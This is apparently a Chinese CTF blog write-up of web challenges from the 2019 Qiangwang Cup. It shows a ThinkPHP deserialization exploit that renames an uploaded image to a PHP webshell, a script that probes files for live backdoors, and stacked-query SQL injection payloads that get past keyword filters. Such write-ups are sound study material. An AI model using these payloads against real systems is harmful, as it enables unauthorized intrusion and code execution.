2019强网杯Web部分题解

upload

1

通过 dirsearch 可以发现源码泄露,下载下来审计。

1
2
3
4
5
6
7
8
9
10
11
➜  dirsearch git:(master) ./dirsearch.py -u 'http://117.78.28.89:31378' -e '*'
[22:03:46] 200 - 1KB - /favicon.ico
[22:03:51] 302 - 0B - /home.html -> http://117.78.28.89:31378/index.php/index
[22:03:51] 302 - 0B - /Home -> http://117.78.28.89:31378/index.php/index
[22:03:51] 302 - 0B - /home -> http://117.78.28.89:31378/index.php/index
[22:04:00] 302 - 0B - /logout -> http://117.78.28.89:31378/index.php/index
[22:04:19] 200 - 24B - /robots.txt
[22:04:26] 301 - 322B - /static -> http://117.78.28.89:31378/static/
[22:04:33] 301 - 322B - /upload -> http://117.78.28.89:31378/upload/
[22:04:33] 200 - 1KB - /upload/
[22:05:06] 200 - 24MB - /www.tar.gz
首先看TP的路由信息( **tp5/route/route.php** ),关注web模块下的控制器方法。

2

先看下 tp5/application/web/controller/Index.php 中的代码,我们需要关注的是 login_check 方法,这个方法从 cookie 中获取字符串,并将其反序列化。所以我们可以反序列化任意类。

3

接着看 tp5/application/web/controller/Login.php 中的代码,Login 类里面只有一个 login 方法,就是常规的登录检测,没有可利用的地方。

再看 tp5/application/web/controller/Profile.php 中的代码,在 upload_img 方法中有上传文件复制操作,而这个操作中的 $this->ext、$this->filename_tmp、$this->filename 均可通过反序列化控制。如果我们能调用 upload_img 这一方法,在知道图片路径的情况下,就可以任意重命名图片文件,可以考虑和图片马相结合。

4

Profile.php 文件末尾还有两个魔术方法,其中 $this->except 在反序列化时可控,这一就有可能通过 __call 调用任意类方法。继续看 Register.php 中是否存在可以触发 __call 方法的地方。

5

我们看到 tp5/application/web/controller/Register.php 文件中存在 __destruct 方法,其 $this->registed、$this->checker 在反序列化时也是可控的。如果我们将 $this->checker 赋值为 Register 类,而 Register 类没有 index 方法,所以调用的时候就会触发 __call 方法,这样就形成了一条完整的攻击链。

6

最终用下面生成的 EXP 作为 cookies 访问网页,即可将原来上传的图片马名字修改成 shell.php ,依次找 flag 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
namespace app\web\controller;
use think\Controller;

class Register
{
public $checker;
public $registed = false;
public function __construct($checker){
$this->checker = $checker;
}
}

class Profile
{ # 先上传一个图片马shell.png,保存路径为/upload/md5($_SERVER['REMOTE_ADDR'])/md5($_FILES['upload_file']['name']).".png"
public $filename_tmp = './upload/2e25bf05f23b63a5b1f744933543d723/00bf23e130fa1e525e332ff03dae345d.png';
public $filename = './upload/2e25bf05f23b63a5b1f744933543d723/shell.php';
public $ext = true;
public $except = array('index' => 'upload_img');
}

$register = new Register(new Profile());
echo urlencode(base64_encode(serialize($register)));

7

高明的黑客

8

从题目给的源码来看,好像黑客留了shell,我们需要从这些源码中找到真正的shell。

9

我们先搜搜常见的shell,类似 eval($_GET[xx]) 或者 system($_GET[xx]) 。这里通过程序来寻找shell。(由于文件太多,建议本地跑,我跑了40分钟才出来:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import os,re
import requests
filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
print(name)
with open('/var/www/html/src/'+name,'r') as f:
data = f.read()
result = list(set(pattern.findall(data)))

for ret in result:
try:
command = 'uname'
flag = 'Linux'
# command = 'phpinfo();'
# flag = 'phpinfo'
if 'GET' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.get(url='http://127.0.0.1:8888/' + name + '?' + passwd + '='+ command)
if flag in r.text:
print('backdoor file is: ' + name)
print('GET: ' + passwd)
elif 'POST' in ret:
passwd = re.findall(r"'(.*)'",ret)[0]
r = requests.post(url='http://127.0.0.1:8888/' + name,data={passwd:command})
if flag in r.text:
print('backdoor file is: ' + name)
print('POST: ' + passwd)
except : pass

10

最终发现了真正的 shell ,直接连上查找 flag 即可。

11

随便注

fuzz 一下,会发现 ban 了以下字符:

1
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

发现支持多语句查询。查表语句为:

1
http://117.78.39.172:32184/?inject=0';show tables;%23

12

由于过滤了 select 等关键字,我们可以用预编译来构造带有 selectsql 语句。

1
2
3
4
set @sql=concat('sel','ect * from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;

结果提示:

1
strstr($inject, "set") && strstr($inject, "prepare")

既然是用 strstr 来匹配关键字,那么直接大小写关键字即可绕过:

1
http://xxxx/?inject=1'%3bSet+%40sqll%3dconcat('sel','ect+*+from+`1919810931114514`')%3bPrepare+presql+from+%40sqll%3bexecute+presql%3bdeallocate+Prepare+presql%3b%23

13

强网先锋-上单

14

从题目可观察出使用的 Thinkphp5.0.22 ,而这个版本存在 RCE ,所以直接使用 payload 攻击即可,具体原理见:ThinkPHP5漏洞分析之代码执行(九)

15

babywebbb(未解决)

49.4.71.212:8088
only a baby web,play with it

flag格式:QWB{}

1
2
3
4
5
不能弹shell的。。。别尝试了
hint:https://paste.ubuntu.com/p/q4xJBfm3Bb/
socks5
由于内网扫的太卡了,直接给出内网地址192.168.223.222
babywebbb修复了一个bug,刚才觉得有问题的请再尝试一下

通过端口扫描会发现开了一个873端口,于是尝试一下rsync信息泄露,可以看到一些源码。

16

这题完整题解参考:BABYWEBBB by ROIS

babywp(未解决)

this is a baby challenge.
flag格式:QWB{}

http://119.3.243.70:18888

1
2
3
bof's offset is 1064, and u need address of stack
172.17.0.2:9999
bof in usercontrol

智能门锁(未解决)

https://factory.ctf.aoicloud.com

智能门锁的某两个文件更新,更新后的文件降低了难度并在文件内增加了hint,原始文件备份到.bak文件。Microchip ATmega128

这个题目不需要扫描,没有任何用处

文章作者: Mochazz
文章链接: https://mochazz.github.io/2019/05/27/2019强网杯Web部分题解/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog